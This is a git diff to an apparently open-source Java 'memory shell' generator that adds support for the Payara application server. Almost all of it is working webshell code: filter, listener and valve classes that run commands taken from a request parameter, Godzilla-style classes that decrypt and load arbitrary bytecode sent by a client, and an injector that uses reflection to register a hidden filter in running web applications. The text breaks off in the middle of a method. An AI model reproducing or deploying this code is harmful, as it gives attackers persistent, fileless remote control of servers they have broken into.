diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index 6cae4bfb..87a6fc2a 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -27,7 +27,7 @@ jobs: integration-test: strategy: matrix: - middleware: [ "tomcat", "jetty", "jbossas", "jbosseap", "wildfly", "glassfish", "resin" ] + middleware: [ "tomcat", "jetty", "jbossas", "jbosseap", "wildfly", "glassfish", "resin", "payara" ] runs-on: ubuntu-latest name: ${{ matrix.middleware }} needs: [ unit-test ] diff --git a/generator/src/main/java/com/reajason/javaweb/config/Server.java b/generator/src/main/java/com/reajason/javaweb/config/Server.java index cb1b16de..08cef7fc 100644 --- a/generator/src/main/java/com/reajason/javaweb/config/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/config/Server.java @@ -4,6 +4,7 @@ import com.reajason.javaweb.memsell.AbstractShell; import com.reajason.javaweb.memsell.glassfish.GlassFishShell; import com.reajason.javaweb.memsell.jboss.JbossShell; import com.reajason.javaweb.memsell.jetty.JettyShell; +import com.reajason.javaweb.memsell.payara.PayaraShell; import com.reajason.javaweb.memsell.resin.ResinShell; import com.reajason.javaweb.memsell.tomcat.TomcatShell; import com.reajason.javaweb.memsell.undertow.UndertowShell; @@ -63,6 +64,11 @@ public enum Server { */ GlassFish(new GlassFishShell()), + /** + * Payara 中间件 PayaraDownload + */ + Payara(new PayaraShell()), + /** * 宝兰德中间件 */ diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/GlassFishShell.java b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/GlassFishShell.java index 4aabc793..ef500023 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/GlassFishShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/GlassFishShell.java @@ -8,10 +8,10 @@ import com.reajason.javaweb.memsell.glassfish.command.CommandListener; import com.reajason.javaweb.memsell.glassfish.command.CommandValve; import com.reajason.javaweb.memsell.glassfish.godzilla.GodzillaFilter; import com.reajason.javaweb.memsell.glassfish.godzilla.GodzillaListener; +import com.reajason.javaweb.memsell.glassfish.godzilla.GodzillaValve; import com.reajason.javaweb.memsell.glassfish.injector.GlassFishFilterInjector; import com.reajason.javaweb.memsell.glassfish.injector.GlassFishListenerInjector; import com.reajason.javaweb.memsell.glassfish.injector.GlassFishValveInjector; -import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaValve; import org.apache.commons.lang3.tuple.Pair; import java.util.List; diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/godzilla/GodzillaValve.java b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/godzilla/GodzillaValve.java new file mode 100644 index 00000000..20a7ef0d --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/godzilla/GodzillaValve.java @@ -0,0 +1,137 @@ +package com.reajason.javaweb.memsell.glassfish.godzilla; + +import org.apache.catalina.Valve; +import org.apache.catalina.connector.Request; +import org.apache.catalina.connector.Response; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletException; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.io.IOException; + +/** + * @author ReaJason + */ +public class GodzillaValve extends ClassLoader implements Valve { + public String key = "{{key}}"; + public String pass = "{{pass}}"; + public String md5 = "{{md5}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + protected Valve next; + protected boolean asyncSupported; + + public GodzillaValve() { + } + + public GodzillaValve(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs); + } catch (Exception var5) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception var5) { + } + } + return value; + } + + @SuppressWarnings("all") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + @SuppressWarnings("all") + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute("payload", (new GodzillaValve(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = ((Class) session.getAttribute("payload")).newInstance(); + f.equals(arrOut); + f.equals(data); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + response.flushBuffer(); + } + } else { + this.getNext().invoke(request, response); + } + } catch (Exception e) { + e.printStackTrace(); + this.getNext().invoke(request, response); + } + + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/payara/PayaraShell.java b/generator/src/main/java/com/reajason/javaweb/memsell/payara/PayaraShell.java new file mode 100644 index 00000000..01167ce7 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/payara/PayaraShell.java @@ -0,0 +1,56 @@ +package com.reajason.javaweb.memsell.payara; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.AbstractShell; +import com.reajason.javaweb.memsell.payara.command.CommandFilter; +import com.reajason.javaweb.memsell.payara.command.CommandListener; +import com.reajason.javaweb.memsell.payara.command.CommandValve; +import com.reajason.javaweb.memsell.payara.godzilla.GodzillaFilter; +import com.reajason.javaweb.memsell.payara.godzilla.GodzillaListener; +import com.reajason.javaweb.memsell.payara.godzilla.GodzillaValve; +import com.reajason.javaweb.memsell.payara.injector.PayaraFilterInjector; +import com.reajason.javaweb.memsell.payara.injector.PayaraListenerInjector; +import com.reajason.javaweb.memsell.payara.injector.PayaraValveInjector; +import org.apache.commons.lang3.tuple.Pair; + +import java.util.List; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +public class PayaraShell extends AbstractShell { + public static final String VALVE = "Valve"; + public static final String JAKARTA_VALVE = "JakartaValve"; + + @Override + public List getSupportedShellTools() { + return List.of(ShellTool.Command, ShellTool.Godzilla); + } + + @Override + protected Map, Class>> getCommandShellMap() { + return Map.of( + Constants.FILTER, Pair.of(CommandFilter.class, PayaraFilterInjector.class), + Constants.JAKARTA_FILTER, Pair.of(CommandFilter.class, PayaraFilterInjector.class), + Constants.LISTENER, Pair.of(CommandListener.class, PayaraListenerInjector.class), + Constants.JAKARTA_LISTENER, Pair.of(CommandListener.class, PayaraListenerInjector.class), + VALVE, Pair.of(CommandValve.class, PayaraValveInjector.class), + JAKARTA_VALVE, Pair.of(CommandValve.class, PayaraValveInjector.class) + ); + } + + @Override + protected Map, Class>> getGodzillaShellMap() { + return Map.of( + Constants.FILTER, Pair.of(GodzillaFilter.class, PayaraFilterInjector.class), + Constants.JAKARTA_FILTER, Pair.of(GodzillaFilter.class, PayaraFilterInjector.class), + Constants.LISTENER, Pair.of(GodzillaListener.class, PayaraListenerInjector.class), + Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, PayaraListenerInjector.class), + VALVE, Pair.of(GodzillaValve.class, PayaraValveInjector.class), + JAKARTA_VALVE, Pair.of(GodzillaValve.class, PayaraValveInjector.class) + ); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/payara/command/CommandFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/payara/command/CommandFilter.java new file mode 100644 index 00000000..4dc4c9b0 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/payara/command/CommandFilter.java @@ -0,0 +1,48 @@ +package com.reajason.javaweb.memsell.payara.command; + +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.InputStream; + +/** + * @author ReaJason + * @since 2024/11/24 + */ +public class CommandFilter implements Filter { + public String paramName = "{{paramName}}"; + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { + HttpServletRequest servletRequest = (HttpServletRequest) request; + HttpServletResponse servletResponse = (HttpServletResponse) response; + String cmd = servletRequest.getParameter(paramName); + try { + if (cmd != null) { + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = servletResponse.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } else { + chain.doFilter(servletRequest, servletResponse); + } + } catch (Exception e) { + chain.doFilter(servletRequest, servletResponse); + } + } + + @Override + public void destroy() { + + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/payara/command/CommandListener.java b/generator/src/main/java/com/reajason/javaweb/memsell/payara/command/CommandListener.java new file mode 100644 index 00000000..4ec5d523 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/payara/command/CommandListener.java @@ -0,0 +1,78 @@ +package com.reajason.javaweb.memsell.payara.command; + +import javax.servlet.ServletOutputStream; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.InputStream; +import java.lang.reflect.Field; + +/** + * @author ReaJason + */ +public class CommandListener implements ServletRequestListener { + public String paramName = "{{paramName}}"; + + public CommandListener() { + } + + @SuppressWarnings("all") + public static synchronized Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @Override + public void requestDestroyed(ServletRequestEvent sre) { + + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + String cmd = request.getParameter(paramName); + if (cmd != null) { + HttpServletResponse servletResponse = this.getResponseFromRequest(request); + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = servletResponse.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); + } catch (Exception e) { + try { + response = (HttpServletResponse) getFieldValue(request, "response"); + } catch (Exception ee) { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response"); + } + } + return response; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/payara/command/CommandValve.java b/generator/src/main/java/com/reajason/javaweb/memsell/payara/command/CommandValve.java new file mode 100644 index 00000000..31ab5df5 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/payara/command/CommandValve.java @@ -0,0 +1,62 @@ +package com.reajason.javaweb.memsell.payara.command; + +import org.apache.catalina.Valve; +import org.apache.catalina.connector.Request; +import org.apache.catalina.connector.Response; + +import javax.servlet.ServletException; +import javax.servlet.ServletOutputStream; +import java.io.IOException; +import java.io.InputStream; + +/** + * @author ReaJason + */ +public class CommandValve implements Valve { + public String paramName = "{{paramName}}"; + protected Valve next; + protected boolean asyncSupported; + + public CommandValve() { + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + String cmd = request.getParameter(paramName); + if (cmd != null) { + Process exec = Runtime.getRuntime().exec(cmd); + InputStream inputStream = exec.getInputStream(); + ServletOutputStream outputStream = response.getOutputStream(); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + } else { + this.getNext().invoke(request, response); + } + } catch (Exception e) { + this.getNext().invoke(request, response); + } + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/payara/godzilla/GodzillaFilter.java b/generator/src/main/java/com/reajason/javaweb/memsell/payara/godzilla/GodzillaFilter.java new file mode 100644 index 00000000..135173ed --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/payara/godzilla/GodzillaFilter.java @@ -0,0 +1,127 @@ +package com.reajason.javaweb.memsell.payara.godzilla; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.io.IOException; + +/** + * @author ReaJason + */ +public class GodzillaFilter extends ClassLoader implements Filter { + public String key = "{{key}}"; + public String pass = "{{pass}}"; + public String md5 = "{{md5}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + public GodzillaFilter() { + } + + public GodzillaFilter(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + @Override + @SuppressWarnings("all") + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException { + HttpServletRequest request = (HttpServletRequest) servletRequest; + HttpServletResponse response = (HttpServletResponse) servletResponse; + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f; + try { + f = ((Class) session.getAttribute("payload")).newInstance(); + } catch (InstantiationException | IllegalAccessException e) { + throw new RuntimeException(e); + } + f.equals(arrOut); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + } + + } else { + chain.doFilter(servletRequest, servletResponse); + } + } catch (Exception e) { + chain.doFilter(servletRequest, servletResponse); + } + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void destroy() { + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/payara/godzilla/GodzillaListener.java b/generator/src/main/java/com/reajason/javaweb/memsell/payara/godzilla/GodzillaListener.java new file mode 100644 index 00000000..0e98e1ad --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/payara/godzilla/GodzillaListener.java @@ -0,0 +1,152 @@ +package com.reajason.javaweb.memsell.payara.godzilla; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Field; + +/** + * @author ReaJason + */ +public class GodzillaListener extends ClassLoader implements ServletRequestListener { + public String key = "{{key}}"; + public String pass = "{{pass}}"; + public String md5 = "{{md5}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + + public GodzillaListener() { + } + + public GodzillaListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static synchronized Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = this.getResponseFromRequest(request); + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute( + "payload", + (new GodzillaListener(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = ((Class) session.getAttribute("payload")).newInstance(); + f.equals(arrOut); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + response.flushBuffer(); + } + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); + } catch (Exception e) { + try { + response = (HttpServletResponse) getFieldValue(request, "response"); + } catch (Exception ee) { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response"); + } + } + return response; + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/payara/godzilla/GodzillaValve.java b/generator/src/main/java/com/reajason/javaweb/memsell/payara/godzilla/GodzillaValve.java new file mode 100644 index 00000000..f71a7dde --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/payara/godzilla/GodzillaValve.java @@ -0,0 +1,137 @@ +package com.reajason.javaweb.memsell.payara.godzilla; + +import org.apache.catalina.Valve; +import org.apache.catalina.connector.Request; +import org.apache.catalina.connector.Response; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletException; +import javax.servlet.http.HttpSession; +import java.io.ByteArrayOutputStream; +import java.io.IOException; + +/** + * @author ReaJason + */ +public class GodzillaValve extends ClassLoader implements Valve { + public String key = "{{key}}"; + public String pass = "{{pass}}"; + public String md5 = "{{md5}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + protected Valve next; + protected boolean asyncSupported; + + public GodzillaValve() { + } + + public GodzillaValve(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs); + } catch (Exception var5) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception var5) { + } + } + return value; + } + + @SuppressWarnings("all") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + @SuppressWarnings("all") + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + HttpSession session = request.getSession(); + byte[] data = base64Decode(request.getParameter(pass)); + data = this.x(data, false); + if (session.getAttribute("payload") == null) { + session.setAttribute("payload", (new GodzillaValve(this.getClass().getClassLoader())).Q(data)); + } else { + request.setAttribute("parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = ((Class) session.getAttribute("payload")).newInstance(); + f.equals(arrOut); + f.equals(data); + f.equals(request); + response.getWriter().write(md5.substring(0, 16)); + f.toString(); + response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); + response.getWriter().write(md5.substring(16)); + response.flushBuffer(); + } + } else { + this.getNext().invoke(request, response); + } + } catch (Exception e) { + e.printStackTrace(); + this.getNext().invoke(request, response); + } + + } +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/payara/injector/PayaraFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/payara/injector/PayaraFilterInjector.java new file mode 100644 index 00000000..fab4504f --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memsell/payara/injector/PayaraFilterInjector.java @@ -0,0 +1,218 @@ +package com.reajason.javaweb.memsell.payara.injector; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.logging.Logger; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + */ +public class PayaraFilterInjector { + Logger log = Logger.getLogger(PayaraFilterInjector.class.getName()); + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + static { + new PayaraFilterInjector(); + } + + public PayaraFilterInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getFilter(context); + addFilter(context, filter); + } + } catch (Exception e) { + e.printStackTrace(); + } + + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + try { + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Object context = getFV(getFV(thread, "target"), "this$0"); + if (context != null && "com.sun.enterprise.web.WebModule".equals(context.getClass().getName())) { + contexts.add(context); + } + } + } + } catch (Exception e) { + e.printStackTrace(); + } + return contexts; + } + + private Object getFilter(Object context) throws Exception { + Object filter = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + filter = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + filter = clazz.newInstance(); + } catch (Exception ignored) { + } + + } + return filter; + } + + public void addFilter(Object context, Object filter) throws Exception { + String filterName = getClassName(); + // 防止重复注入 + try { + if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterName}) != null) { + log.warning("filter already exists"); + return; + } + } catch (Exception ignored) { + } + try { + Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); + Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); + invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); + invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()}); + invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); + invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); + invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); + invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false}); + try { + invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } catch (Exception e) { + invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } + Constructor[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); + constructors[0].setAccessible(true); + Object filterConfig = constructors[0].newInstance(context, filterDef); + HashMap filterConfigs = (HashMap) getFV(context, "filterConfigs"); + filterConfigs.put(filterName, filterConfig); + log.info("filter added successfully"); + } catch (Exception e) { + e.printStackTrace(); + } + } + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + 